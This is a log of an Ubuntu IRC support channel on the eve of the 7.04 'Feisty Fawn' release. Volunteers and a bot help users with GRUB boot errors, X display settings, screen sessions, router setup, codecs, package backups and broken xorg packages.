[10:00] <my_haz> jlist: no you are right
[10:00] <WaxyFresh> Arzakon, tommorow
[10:00] <jano_> spolyak, they have been set up in dpkg-reconfigure
[10:00] <WaxyFresh> i think
[10:00] <babo> how do I search for a particular shared object lib in the debs ?
[10:00] <n00t2> what hour, GMT?
[10:00] <babo> repos
[10:00] <my_haz> jlist: which as always bothered me
[10:00] <Arzakon> yes, but someone knows at what hour?
[10:00] <Paul_UK> 6am
[10:00] <jlist> my_haz: yeah. not sure why that decision. security?
[10:00] <n00t2> GMT is the assumption?
[10:00] <Arzakon> 6 am in UK time?
[10:00] <WaxyFresh> Paul_UK, damnit i have to wake up that early?
[10:00] <Arzakon> oks!
[10:00] <Arzakon> thks
[10:00] <jonaskul> !gparted
[10:00] <jano_> Arzakon, why do you need to know?
[10:01] <Paul_UK> lol no idea heh
[10:01] <my_haz> jlist: but then again i am doing the LTS, thing so i don't have to reinstall for like 5 years
[10:01] <n00t2> he's gonna DDOS the servers
[10:01] <Arzakon> lol
[10:01] <n00t2> every single mirror
[10:01] <Arzakon> impatience
[10:01] <n00t2> ;_p
[10:01] <Arzakon> xD
[10:01] <spolyak> jano, that isnt sufficient.
[10:01] <ubotu> GParted is is a !GUI partitioning program. Type  sudo apt-get install gparted  in a console to install it - A GParted "live" CD is available at http://gparted.sourceforge.net/livecd.php
[10:01] <offspring> Soundray, if you are still here. IT WORKED!
[10:01] <spolyak> it will probe for supported modes
[10:01] <my_haz> jlist: i dunno, they are just wacky
[10:01] <Wass|> hi
[10:01] <jano_> spolyak, so what should I do?
[10:01] <jlist> my_haz: good for you :) i'm not quite understanding the LTS thing though. You'd rather run an older version?
[10:01] <nrl> YetiChick: no luck, says "invalid mbr" which is the same as before
[10:02] <Wass|> I would like to know if it's possible to start a eggdrop with ssh without killing the egg when I close the ssh session
[10:02] <spolyak> what resolution ?
[10:02] <Lbawinowns> Ok, seriously GNUChess is a bad chess engine since I just drawed it when playing something impulsive -.-, anyway. Someone here know about any good Interface for chess engines?
[10:02] <POVaddct> bubuntu: http://84.179.116.250:28452/
[10:02] <icf7> I'm creating an Ubuntu package: What do I do if there is a zip file instead of a compressed tarball? Unzip and recompress it or just use .zip instead of .tar.gz ?
[10:02] <WaxyFresh> if im using a dsl modem do i need PPP installed?
[10:02] <jano_> spolyak, 1152x864
[10:03] <spolyak> what driver, monitor?
[10:03] <my_haz> jlist: well i tend to customize my box to high-hell, so reinstalls are a big long deal for me, so its better to wait a few months to get the latest and the greatest. The only big draw back i have found so far is not being able to add from apt, Python2.5, but meh, i can wait
[10:03] <jano_> spolyak, savage, and liteon monitor...
[10:03] <Wass|> anyone ?
[10:03] <my_haz> Wass|: screen
[10:04] <Wass|> my_haz : screen ?
[10:04] <YetiChick> nrl: Ah, you hadn't mentioned what the error was...  Or I missed it if you did.  It seems as if your BIOS doesn't like grub - at least on hard drives.  Does the BIOS have any virus protection enabled?  Sometimes that will break the MBR if something tries to write a new one.
[10:04] <my_haz> Wass|: ya you want to detach a "screen" session, thats what i am running right now
[10:04] <WaxyFresh> if im using a dsl modem do i need PPP installed?
[10:04] <Wass|> ok yeah..
[10:04] <spolyak> add this to your /etc/X11/xorg.conf
[10:04] <POVaddct> my_haz: screen rocks!
[10:05] <spolyak> Load "vbe"
[10:05] <nrl> YetiChick: nothing like that enabled and it has booted with grub before. I didn't mention the error last time as I had forgot, used the reboot as a chance to remind myself :)
[10:05] <my_haz> POVaddct: yes, yes it does :D
[10:05] <thoreauputic> WaxyFresh: modem or router ?
[10:05] <spolyak> under section "Module"
[10:05] <jlist> my_haz: having to reinstall every 6 months is always a pain. The upgrading from one version to another version w/o reinstalling didn't work well last time i tried
[10:05] <thoreauputic> WaxyFresh: you need pppoeconf for some dsl modems, but not ordinary ppp as in dialup
[10:05] <spolyak> jano, see also https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/48720
[10:05] <Wass|> my_haz : I just need to type : seen sudo -u theuser /bin/eggdrop -nt /path/to/eggdrop.conf ?
[10:06] <jlist> my_haz: this is actually more annoying on linux than on windows. On windows, at least i don't have to reinstall for the last few years
[10:06] <thoreauputic> WaxyFresh: most ISPs these days use router modems
[10:06] <my_haz> jlist: it was uneventful for me, i tend to wait to do that too, so most of the buggs are worked out. Ya i know, i am a wuss.
[10:06] <bubuntu> POVaddct, thanks... checking it out now. i need to get some sleep and crash, thank you for the help
[10:06] <Unearth> hey all
[10:06] <POVaddct> bubuntu: alright
[10:06] <my_haz> jlist: i dunno jack about windows
[10:06] <WaxyFresh> thoreauputic, how do i tell if its a router or modem?
[10:06] <Seraphire> Hi again, it looks like deny hosts would probably be what I want, but apt-get doesn't seem to have it.  I tried loading adept, but it doesn't have it either.  What do I have to add to the configuration so that I can load the "denyhosts" it's flagged as "unstable" which concerns me.
[10:07] <YetiChick> nrl: Well, I'm out of suggestions.  It's clear that the MBR isn't being written correctly, but if grub was writing to the boot sector of the partition and not the MBR, it seems as though your MBR would still be "valid".
[10:07] <knightmove_> f
[10:07] <my_haz> jlist: basically, and then detache with C-d
[10:07] <WaxyFresh> thoreauputic, phone comes into the modem then splits it in between 5 computers so router?
[10:07] <Wass|> ok screen rocks
[10:07] <Wass|> :P
[10:07] <jlist> my_haz: sent your last msg to the wrong id?
[10:07] <bubuntu> POVaddct,  should this knoppix livecd if it works on this laptop... work on the desktop? if it doesn't get an ip from the dhcp using this livecds settings can we say its not the settings?
[10:07] <Unearth> do you know when feisty will be released finally?
[10:07] <thoreauputic> WaxyFresh: does it have an IP address and a web browser config interface?
[10:07] <thoreauputic> WaxyFresh: sound like a router
[10:07] <YetiChick> nrl: You're doing "setup (hd0)", not "setup (hd0,0)", right?
[10:07] <spolyak> damn compiz cube still acting wacky
[10:08] <Wass|> is there a way to get back the program when I closed the session ?
[10:08] <jano_> spolyak, it was already there... and I have a feeling the driver doesnt work anyway... :(
[10:08] <nrl> YetiChick: yes :)
[10:08] <my_haz> Wass|: ya bassically, then C-d to detach, screen -r to reattach
[10:08] <spolyak> mmmm
[10:08] <ByPasS> http://cdimage.ubuntu.com/daily-live/current/ -> no
[10:08] <YetiChick> nrl: I assumed as much - you don't sound like a noob.  :)
[10:08] <POVaddct> bubuntu: i suspect the desktop does not have a ethernet link
[10:08] <my_haz> Wass|: i can show you my screen config if you wish
[10:08] <WaxyFresh> thoreauputic, i dont know how do i figure out its ip?
[10:08] <jano_> spolyak, when I move windows the icons on desktop disapear for small moment (like half a second)
[10:08] <POVaddct> bubuntu: may the wrong cable? crossover instead of patch cable?
[10:08] <piglit> acording to this howto http://nsaunders.wordpress.com/2006/11/06/a-usb-stick-grub-and-ubuntu/ i need the file      boot.img.gz    i downloaded the ubuntu-7.04-beta-alternate-amd64.iso but ik cant find the file  boot.img.gz  so my question where can i find it ?
[10:08] <Seraphire> OKay, I just found the package in "stable" according to the Debian pacakge list website, but I don't see it in adept. Any guesses?
[10:09] <Wass|> my_haz : I just need to know if there's a way to get back to the process sent in background now
[10:09] <thoreauputic> WaxyFresh: if you type "ifconfig" the IP would be the gateway IP
[10:09] <nrl> YetiChick: worth asking just for a sanity check anyway :)
[10:09] <Unearth> bypass is this the final?
[10:09] <my_haz> Wass|: yup, screen -r
[10:09] <bubuntu> POVaddct,  thing is. when it was still wireless it had the same problem. it would send packets and not recieve one.
[10:09] <Wass|> oh ok
[10:09] <YetiChick> nrl: You might want to try using the live CD from another distro to install grub...  Just a thought.  It's possible that something about this build is just not working on your machine.
[10:09] <ByPasS> date shows 15 april so no
[10:09] <Wass|> that's so cool
[10:09] <Wass|> thanks buddy
[10:09] <WaxyFresh> thoreauputic, then i can type that into my browser and it should po up with a config thingy?
[10:09] <my_haz> Wass|: "Ctrl a d" for detach
[10:10] <nrl> YetiChick: yea, I've been trying various packages from debian alrady as that was working on this machine before but no luck
[10:10] <Wass|> alright :D
[10:10] <ypSami> Ah! help! Ubuntu keeps shutting down with "Critical Temp Reached [93c] " any time I run more than a couple applications. Is my fan out? Is it possible something changed with my software?
[10:10] <my_haz> Wass|: screen is your friend, now go find a good .screenrc
[10:10] <POVaddct> bubuntu: yeah, but i think that was a wlan specific problem
[10:10] <bubuntu> POVaddct,  network monitor thingie on the toolbar shows spikes of network activity but all sending
[10:10] <YetiChick> nrl: I'm having that problem with the ns82830 module for one of my NICs.  It works fine from every other distro I try, but not from any Ubuntu distro.
[10:10] <zorlin> Hey guys?
[10:10] <Wass|> my_haz : thanks again! :)
[10:10] <zorlin> Know how far away the fiesty release is?
[10:10] <blahblah556> hey, im having problems installing a canon printer
[10:10] <POVaddct> bubuntu: i dont give a sh*t for gui network monitor tool
[10:10] <zorlin> I mean I know its tomorrow, but I dont have an exact time right now
[10:10] <thoreauputic> WaxyFresh: it should - and sorry , you want the "route" command I think
[10:10] <YetiChick> nrl: Although Ubuntu is nice enough that I was willing to swap out my NIC to keep playing with it.
[10:10] <bubuntu> POVaddct,  okay changing wires now...
[10:11] <sharperguy> where do i get the realmedia codec?
[10:11] <sharperguy> msg ubotu codecs
[10:11] <nrl> YetiChick: :)
[10:11] <ypSami> Is there a way to find out WHICH component is reaching critical temperature? Or is there a way to monitor temperature?
[10:11] <sharperguy> ^^ oops sorry meant to put a / before that
[10:11] <Unearth> when will the final stable version be released?
[10:11] <thoreauputic> WaxyFresh: the gateway IP would be the one on the "default" line
[10:11] <Korgmatose> tomorrow
[10:11] <bubuntu> POVaddct, oh wait that would disconnect me...
[10:11] <YetiChick> nrl: That's odd...  So even ones that worked before no longer work?
[10:11] <blahblah556> i followed the tutorial for installing the ip1500 canon printer, followed the tutorial on ubuntu forums, it shows the printer but printer doesnt work
[10:11] <POVaddct> bubuntu: i guess so
[10:11] <my_haz> ypSami: gkrellm ?
[10:12] <statefanchris> there is another stable version of ubuntu about to be released?
[10:12] <bubuntu> POVaddct, okay bye... hope its the wires.
[10:12] <WaxyFresh> thoreauputic, ifconfig route  = route: error fetching interface information: Device not found
[10:12] <DVS01> sometimes when i log off or switch users, my screen goes black, with just a mouse pointer visible. i end up having to restart gdm. is there a way to fix this?
[10:12] <thoreauputic> WaxyFresh: it's usually something like 192.168.1.1 ( but not necessarily)
[10:12] <nrl> YetiChick: I think so, but I have no recollection of the exact verion number I had on my mbr so I can't say it is the "one" that worked before
[10:12] <Unearth> ouwh really? thats so great
[10:12] <thoreauputic> WaxyFresh: no, just type " route"
[10:12] <zorlin> Does anyone know how soon fiesty will be released?
[10:12] <Unearth> so im looking forward tomorro =) cya guys
[10:12] <zorlin> (in relative terms, hours etc?)
[10:12] <my_haz> ypSami: which proly uses something in /proc
[10:13] <Korgmatose> 6am gmt
[10:13] <bokey> !feisty | zorlin
[10:13] <ubotu> zorlin: The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[10:13] <YetiChick> nrl: (nod)  Hm.  Wonder if you're having hard drive issues that just happen to coincide with this install...
[10:13] <thoreauputic> WaxyFresh: the correct IP should be in the modem/router manual anyway
[10:13] <jano_> what does thins mean in xorg.conf?    Option      "UseFBDev"      "true"
[10:13] <zorlin> awesome...
[10:13] <baggito> i remember!!!!   sudo dpkg-reconfigure fontconfig
[10:13] <WaxyFresh> can i pm you the results?
[10:13] <thoreauputic> janey: "Frame Buffer Device" i think
[10:13] <WaxyFresh> thoreauputic, ^
[10:13] <zorlin> that means it'll be here for me at about 2pm... :D
[10:13] <bokey> !pastebin | WaxyFresh
[10:13] <ubotu> WaxyFresh: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[10:14] <jano_> thoreauputic, thx
[10:14] <Seraphire> Anyone know how to add the debian stable package to adept?
[10:14] <thoreauputic> WaxyFresh: ?
[10:14] <piglit> i need the file boot.img.gz from the iso ubuntu-7.04-beta-alternate-amd64 where can i find it?
[10:14] <WaxyFresh> thoreauputic, can i pm you the results of the route?under gate way it just says *
[10:14] <ypSami> The built in ubuntu tools for monitoring temperature are terrible. I should write some new software.
[10:14] <nrl> YetiChick: well that could be true as the hdd has actually slipped out before causing some issues (it wasn't secured properly) but I've actually had this issue with ubuntu for as long as I can remember on this laptop (i think I tried ubuntu when I got it but quickly switched to debian rather than try to fix it, now debian is so far behind on the gnome front I'm trying again this time)
[10:15] <zorlin> Sami, that'd be nice
[10:15] <thoreauputic> WaxyFresh: do you have the manual for this modem?
[10:15] <Paul_UK> i need the file ubuntu-7.04-desktop.iso can anyone help me out? :P
[10:15] <zorlin> I'm kinda looking for some good temp monitoring software.
[10:15] <WaxyFresh> thoreauputic, no
[10:15] <krabador> hey people, who of you now are using feisty?
[10:15] <zorlin> Need any suggestions? :P
[10:15] <ypSami> my_haz: gkrellm is for multiple stacked monitors?
[10:15] <thoreauputic> WaxyFresh: is it ISP supplied?
[10:15] <zorlin> Krab? I'm using it in a virtual machine
[10:15] <bokey> Paul_UK: you can download it using torrents
[10:15] <WaxyFresh> thoreauputic, yup
[10:15] <chexay> im on feisty
[10:15] <bokey> !mirrors | Paul_UK
[10:15] <ubotu> Paul_UK: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Archive
[10:15] <zorlin> the beta is really nice, but i havent had a great change to use it
[10:15] <thoreauputic> WaxyFresh: then call your ISP and ask :)
[10:15] <Paul_UK> i'll wait till the final release bokey :P
[10:15] <my_haz> ypSami: sorry you went over my head
[10:16] <jano_> krabador, me, on my second computer... (kane77)
[10:16] <sharperguy> Where do I get the realmedia codec?
[10:16] <zorlin> !fiesty
[10:16] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[10:16] <thoreauputic> !restricted | sharperguy
[10:16] <Betzefer> !schedule
[10:16] <ubotu> sharperguy: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[10:16] <ubotu> Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at http://www.ubuntu.com/ubuntu/releases & http://wiki.ubuntu.com/TimeBasedReleases
[10:16] <YetiChick> nrl: Could be ...  so many things...  :)  If you have access to any other MBR installable boot manager, you might want to try that to eliminate the possibility that it's the drive.  I'm really just kind of babbling now.  :)
[10:16] <zorlin> !dapper
[10:16] <ubotu> dapper is the 4th release of Ubuntu.  Version 6.06 LTS, codename "Dapper Drake".
[10:16] <Firetear> quick question, is the Ubuntu 6.10 install CD a Live CD? or do I need to use the older version live CD?
[10:16] <krabador> zorlin, chexay, you've upgraded edgy?
[10:16] <zorlin> Krab?
[10:16] <sharperguy> thoreauputic, I already tried that link
[10:16] <zorlin> No, I dont use edgy, I'm a dapper.
[10:16] <jano_> !abuse
[10:16] <thoreauputic> Firetear: desktop CD is a live CD
[10:17] <ubotu> The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[10:17] <Firetear> danke
[10:17] <sharperguy> thoreauputic, and it mentions it. and I added the mediabuntu repo but no realmedia codec
[10:17] <zorlin> I'm using it through a virtual machine. Clean install
[10:17] <thoreauputic> sharperguy: then you didn't follow it properly :) It tells you all about codecs etc
[10:17] <zorlin> is there a simple talk channel on this server?
[10:17] <krabador> zorlin : feisty beta?
[10:17] <my_haz> sharperguy: http://onlyubuntu.blogspot.com/2007/03/install-mplayer-and-multimedia-codecs.html
[10:17] <nrl> YetiChick: yea that's my next move I think, don't have anything to hand but I do have a pile of blank CDs
[10:17] <zorlin> Krab, talk over pm please?
[10:17] <MetaBookfoziS> what program generates fstab during the isntall? can i re create that?
[10:18] <thoreauputic> sharperguy: most of the real codecs are now handled by ffmpeg
[10:18] <xamat> my OpenOffice is broken in Edgy, anybody can help?
[10:18] <thoreauputic> sharperguy: Cook for example is included in ffmpeg
[10:18] <nrl> YetiChick: grub must be the most annoying thing to get a problem with, so many damn reboots
[10:18] <xamat> I get: no suitable windowing system found, exiting.
[10:18] <xamat> ** (process:5132): WARNING **: Unknown error forking main binary / abnormal early exit ..
[10:18] <Death_Sargent> how do I add noacpi to my grub boot
[10:18] <YetiChick> nrl: I've found boot-us (http://www.boot-us.com/) to be quite useful at times.
[10:18] <jerry> hello all
[10:18] <sharperguy> thoreauputic, it says to install ppc-codecs but the package isn't in the mediabuntu repo
[10:18] <Death_Sargent> I am using a single processor with HT
[10:19] <ypSami> How can you backup Tomboy notes?
[10:19] <Death_Sargent> how do I add noacpi to my boot
[10:19] <sharperguy> thoreauputic, in fact, dont even read what i just said :P
[10:19] <thoreauputic> sharperguy: you are on PPC ? And yes, that codec is there for ppc
[10:19] <nrl> YetiChick: I don't have windows to install that with unfortunately
[10:19] <Paul_UK> does anyone know if crossover works in fiesty and allows for MS Office 2003 to be installed?
[10:19] <ypSami> nevermind, just need to backup ~/.tomboy
[10:19] <sorcerer> is there a way in linux letys .. say something bad happens to my machine right and i need to install it all over again .. and i really dont remember what i installed or all those .. repos i had in my source list /./. like i want a new system with the same stuff i hade befoe it crashed ... like i just do a sudo pat or what ever and downloads all the applications thats was there on the machine earlier .. before the crash ?
[10:20] <BaACkUp> !ping me
[10:20] <ubotu> Sorry, I don't know anything about ping me - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:20] <YetiChick> nrl: Understood.  I generally only multi-boot if I absolutely need Windows on that machine.
[10:20] <jerry> can someone tell me how to setup a windows/linux newwork?
[10:20] <stefg> sorcerer: that's called a backup :-)
[10:20] <netmon1> WHen I do an apt-get and it says extra packages, suggested packages, and NEW packages, is it installing all of these or which is it installing?
[10:20] <netmon1> Because I only want the new ones not the suggested
[10:20] <YetiChick> nrl: Other than that, I tend to run a single OS on any given box.
[10:20] <thoreauputic> sorcerer: make a list with:   dpkg --get-selections > package.list
[10:20] <Seraphire> So, no takers on how I can get denyhosts installed?
[10:20] <jlintz> netmon1: and apt-get what
[10:21] <jrib> Seraphire: what version of ubuntu?
[10:21] <netmon1> sarg
[10:21] <spolyak> jano, sorry Jan, my search isn't coming up with anything helpful yet.
[10:21] <sorcerer> iam new .. i dunno how do this .. so coudl you guys just walk me through it or a tutorial ?
[10:21] <Seraphire> jrib,  2.6.15-28-server
[10:21] <scrav> in my bios i cant find anything about disconnecting hardware. I need to disconnect my modem to get the sound working. i think
[10:21] <movieman> hi guys can anyone help, I have a server but the language is in french does anyone know how to change it to english from terminal
[10:21] <sorcerer> thoreauputic:  once i gety the package list what happens next
[10:21] <jrib> Seraphire: is that dapper?
[10:21] <scrav> anyone know howto?
[10:22] <Seraphire> jrib, I think so. It's the latest stable server version.
[10:22] <xamat> so, anybody can help in getting Open Office up again in Edgy?
[10:22] <thoreauputic> sorcerer: that command will put it in a file called package.list
[10:22] <thoreauputic> sorcerer: you can read that with a text editor
[10:22] <jrib> !version | Seraphire
[10:22] <Seraphire> jrib, I installed it only about 2 weeks ago.
[10:22] <ubotu> Seraphire: To find out what version of Ubuntu you have, type  lsb_release -a  in a !shell
[10:22] <jrib> Seraphire: lsb_release -a
[10:22] <sorcerer> thoreauputic: umm it says permision denied
[10:22] <Seraphire> ! lsb_release -a
[10:22] <ubotu> Sorry, I don't know anything about lsb_release -a - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:22] <jrib> Seraphire: in a shell
[10:22] <zorlin> in terminal -.-
[10:23] <thoreauputic> sorcerer: you are in the wrong directory then - do the command in your $HOME dir
[10:23] <Seraphire> jrib, Sorry, Copy and paste.  Yes, Dapper 6.06
[10:23] <spolyak> jano, sorry Jan, my search isn't coming up with anything helpful yet.
[10:23] <JacktheHomeless> Is there any way to change the bitrate of ogg files when extracting them using Sound Juicer?
[10:23] <jano_> how can I find out if my graphics driver works?
[10:23] <Seraphire> jrib, Description:    Ubuntu 6.06.1 LTS
[10:23] <Ph0biA> Hey
[10:23] <ypSami> Anyone know why my IBM A31p will install and run the ATI catalyst drivers with fedora core 6, but not with ubuntu?
[10:23] <zorlin> type glxgears, if the performance is really bad usually graphics acceleration isnt on
[10:23] <Ph0biA> I need help if anyone can help me.
[10:23] <thoreauputic> sorcerer:  cd ~ ; dpkg --get-selections > package.list
[10:23] <sorcerer> thoreauputic:  why does it always have to be in the home directory ?
[10:23] <jrib> Seraphire: hmm denyhosts was only pacakged in edgy
[10:24] <thoreauputic> sorcerer: because in most directories outside $HOME you don't have write permissions without sudo :)
[10:24] <jano_> spolyak, np, I found xorg.conf of the exactly the same card and it uses the same driver (savage) and it is totaly same as mine, so I dont know, what could that be...
[10:24] <Seraphire> jrib, Is there a Ubuntu list I can check for this? I've only see the packages.debian.org
[10:24] <Ph0biA> Is this Ubuntu 6.10 Edgy Support?
[10:24] <spolyak> mmmm.
[10:24] <jrib> Seraphire: well you should just use apt-cache search, but ubuntu has packages.ubuntu.com
[10:24] <nrl> YetiChick: will be back to report progress soon, thanks for your help :)
[10:24] <jrib> Ph0biA: yes, welcome
[10:24] <thoreauputic> sorcerer: /tmp is an exception
[10:24] <spolyak> maybe it is the monitor then
[10:24] <Ph0biA> Alright, thanks
[10:25] <Ph0biA> Im having trouble installing flash player
[10:25] <jano_> zorlin, 195 fps.. is that ok?
[10:25] <john__> hello!
[10:25] <Ph0biA> I've tried all these tutorials that arent working.
[10:25] <sorcerer> thoreauputic:  ok mate well .. what happened the pakage liste .. what dfoes that contain and what can id o
[10:25] <Seraphire> jrib, okay. I tried the apt-cache and I don't see it.  I've added the universe and the multiverse
[10:25] <Korgmatose> Ph0biA, nspluginwrapper ones?
[10:25] <jano_> spolyak, but then I have the same monitor on my second computer and ther it works on higher resolution...
[10:25] <thoreauputic> sorcerer: now that you have the list, have a look at it ( gedit packages.list )
[10:25] <spolyak> jano, i note that some monitors only respond so certain resolutions when the fre. is properly set.
[10:25] <Ph0biA> Yeah
[10:26] <john__> does anyone know why i cant use "gcc" in my terminal
[10:26] <spolyak> e.g.
[10:26] <Ph0biA> It came up with an error saying not found.
[10:26] <Ph0biA> or files not found.
[10:26] <thoreauputic> sorcerer: all the packages marked "install" are ones you have installed
[10:26] <jrib> Seraphire: right, because denyhosts is not packaged in dapper.  Only edgy.  Grab denyhosts from the sourceforge page, it's a python script, so it should be relatively painless
[10:26] <jano_> john__, do you have it installed?
[10:26] <spolyak> my dell monitor will only allow 1600x1200 is my fre is set to exactly 60
[10:26] <john__> well i thougt it was..
[10:26] <Seraphire> jrib, Oh, okay. Can I not grab the package from the debian package site and install it with an installer? Just the manual install?
[10:26] <larryone> hi
[10:27] <thoreauputic> john__: install build-essential
[10:27] <sharperguy> !build-essential | john__
[10:27] <ubotu> john__: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[10:27] <sorcerer> thoreauputic: ok mate .. it shows all the stuff i have installed how can i use it on my new system
[10:27] <thoreauputic> sorcerer: install all those packages :)
[10:27] <jrib> Seraphire: it may not work.  I know that the feisty and edgy packages for denyhosts are not compatible for example
[10:27] <robdeman> anybody here that has experience with Trac onder Ubuntu?
[10:27] <Korgmatose> Ph0biA, this tutorial works flawlessly if you follow it to the letter: http://ubuntuforums.org/showthread.php?t=290785
[10:27] <larryone> I have packages that are broken and I cant remove them with either apt-get or synaptic... all of them are xorg ones that I need to reinstall - but they seemingly cant be removed
[10:27] <thoreauputic> sorcerer: you can feed it to  dpkg --set-selections
[10:28] <larryone> can anyone help me?
[10:28] <Seraphire> jrib, Okay. I'll just grab the manual install and do it from SF.
[10:28] <spolyak> when x is starting up it probes the monitor for supported resolutions
[10:28] <Seraphire> jrib, Thank you very much for the help.
[10:28] <thoreauputic> sorcerer: this is all in the dpkg man page :)
[10:28] <jrib> Seraphire: yw
[10:28] <patzlaff> Hi I need help
[10:28] <larryone> can anyone help me remove these broken packags???
[10:28] <jano_> spolyak, hmm.. on neither fr there is any new resolution...
[10:29] <larryone> apt-get returns errors when I try
[10:29] <thoreauputic> sorcerer: as with most things in linux, there are several ways to achieve the same thing
[10:29] <n00t2> !help | patzlaff
[10:29] <ubotu> patzlaff: I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[10:29] <patzlaff> I have NVIDIA card and when I enable Desktop Effects
[10:29] <spolyak> what is monitor make, model again?
[10:29] <patzlaff> my screen was blank
[10:29] <WaxyFresh> whats dbus do excatly and do i need it?
[10:29] <thoreauputic> WaxyFresh: you need it :)
[10:29] <thoreauputic> WaxyFresh: in fact, it is fundamental
[10:30] <WaxyFresh> thoreauputic, thought so,but whats it do beside sends messages inbetween apps? can you give an example?
[10:30] <n00t2> WaxyFresh: if you remove it, the flying monkeys come after you
[10:30] <Ph0biA> Korgmatose, it came up with the same error already "File not found"
[10:31] <thoreauputic> WaxyFresh: simple example:  network-manager won't work without dbus ( lots of other things won't either)
[10:31] <jerry> need help setting up a windows & linux network for files
[10:31] <jano_> WaxyFresh, and the unix daemon will dog your steps until time_ts wrap around
[10:31] <n00t2> !samba | jerry
[10:31] <ubotu> jerry: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[10:31] <thoreauputic> WaxyFresh: it is intimately bound to HAl and udev etc
[10:31] <Korgmatose> Ph0biA, on what step
[10:31] <Ph0biA> Korgmatose,  sudo alien -d nspluginwrapper*.rpm
[10:32] <boobytrapped> Hi.  I can no longer suspend my T60p with feisty -- it used to work with edgy.  Does anyone know how to debug these kinds of problems?
[10:32] <boobytrapped> T60p = Thinkpad T60p
[10:32] <jerry> thx's man :)
[10:32] <Korgmatose> have you downloaded nspluginwrapper to the same directory you you are doing alien from?
[10:33] <n00t2> jerry: np
[10:33] <patzlaff> Anybody can help me /
[10:33] <patzlaff> ?
[10:33] <Ph0biA> Korgmatose, Im doing it all in terminal
[10:33] <n00t2> patzlaff: state your problem
[10:33] <Auron0> I'd like to share some information that I gathered from setting up ubuntu on my system.
[10:33] <patzlaff> I have one card NVIDIA and when Desktop Effects enable, the screen was blank
[10:33] <jano_> patzlaff, do you have nvidia-glx installed?
[10:33] <Korgmatose> yeah, I thought so, but are the nspluginwrapper rpm's in the same directry?
[10:33] <chexay> feel free
[10:33] <Auron0> If you are running SLI video cards, you HAVE to take out the secondary card, or else you will get no video on start-up.
[10:34] <Ph0biA> Korgmatose, what directory should they be in?
[10:34] <patzlaff> no
[10:34] <Auron0> That is what my problem was
[10:34] <patzlaff> I don't have this package
[10:34] <Ph0biA> (This is my 2nd day of ubuntu)
[10:34] <jano_> patzlaff, then do first :)
[10:34] <patzlaff> tks
[10:34] <Korgmatose> Ph0biA, the same as you are writing commands from (your "current" directory)
[10:34] <patzlaff> I'm installing now
[10:34] <zorlin> Hi ph0bia
[10:35] <Ph0biA> Hi zorlin
[10:35] <Korgmatose> if you downloaded the files to your home-directory, you would do "cd ~ " first
[10:35] <zorlin> 2nd day of ubuntu eh?
[10:35] <patzlaff> later I will reply for you if it works.
[10:35] <colbert> In IRC how do I do /list for a network so it opens in a new tab and sorts the results ?? I am using XChat
[10:35] <Ph0biA> Hmmm
[10:35] <Korgmatose> if your desktop, then "cd ~/Desktop"
[10:35] <zorlin> How do you like it so far?
[10:35] <jano_> patzlaff, you will have to reconfigure xorg first...
[10:36] <zorlin> Ph0biA: How do you like ubuntu so far?
[10:36] <zorlin> as in, what are your general feelings about it :P
[10:36] <Ph0biA> Zorlin, Im lost....
[10:36] <zorlin> Ok.
[10:36] <WaxyFresh> thoreauputic, can atd be disabled it says its for schedualing of jobs,is this system jobs or user schedualed jobs?
[10:37] <larryone> I'm having major problems with dpkg and my xserver-xorg stuff... I'm getting an error message that contradicts itself#
[10:37] <larryone> dpkg: error processing xserver-xorg (--remove):
[10:37] <larryone>  Package is in a very bad inconsistent state - you should
[10:37] <larryone>  reinstall it before attempting a removal.
[10:37] <adaptr> user jobs, system jobs aren't scheduled by at
[10:37] <sacater> anyone willing to help with my compiling problem? http://rafb.net/p/JPrUnC37.html
[10:37] <thoreauputic> WaxyFresh: why are you fooling with stuff you don't understand?
[10:37] <larryone> does this make sense to anyone?
[10:38] <sacater> larryone: nope
[10:38] <WaxyFresh> thoreauputic, im trying to disable every service i dont need
[10:38] <Ph0biA> Lost lol
[10:38] <thoreauputic> WaxyFresh: afaik atd is for scheduling "at" commands
[10:38] <zorlin> larryone, i think it means you need to reinstall it before removal is 'safe'
[10:38] <thoreauputic> WaxyFresh: why?
[10:38] <Ph0biA> I dunno, I like it, but I cant do half the stuff I could before.
[10:38] <zorlin> which doesnt make logical sense, but try reinstalling it or posting on the forums for some more support: ubuntu-forums.org
[10:38] <larryone> zorlin, how can I reinstall if I cant remove???
[10:38] <thoreauputic> WaxyFresh: are you suffering from the delusion that this will improve performance?
[10:38] <spolyak> like what Ph0biA ?
[10:38] <Puppy_> I have two upgrade questions. 1st, should I back stuff up for upgrading? and 2ed, what is the suggested way to upgrade?
[10:38] <zorlin> larryone, try using --reinstall
[10:39] <Ph0biA> Like downloading things spolyak
[10:39] <zorlin> i'm not sure of the exact commands
[10:39] <larryone> with apt or with dpkg??
[10:39] <Puppy_> *this is upgrading to 7.04
[10:39] <alduin> -Always- back things up before upgrading.
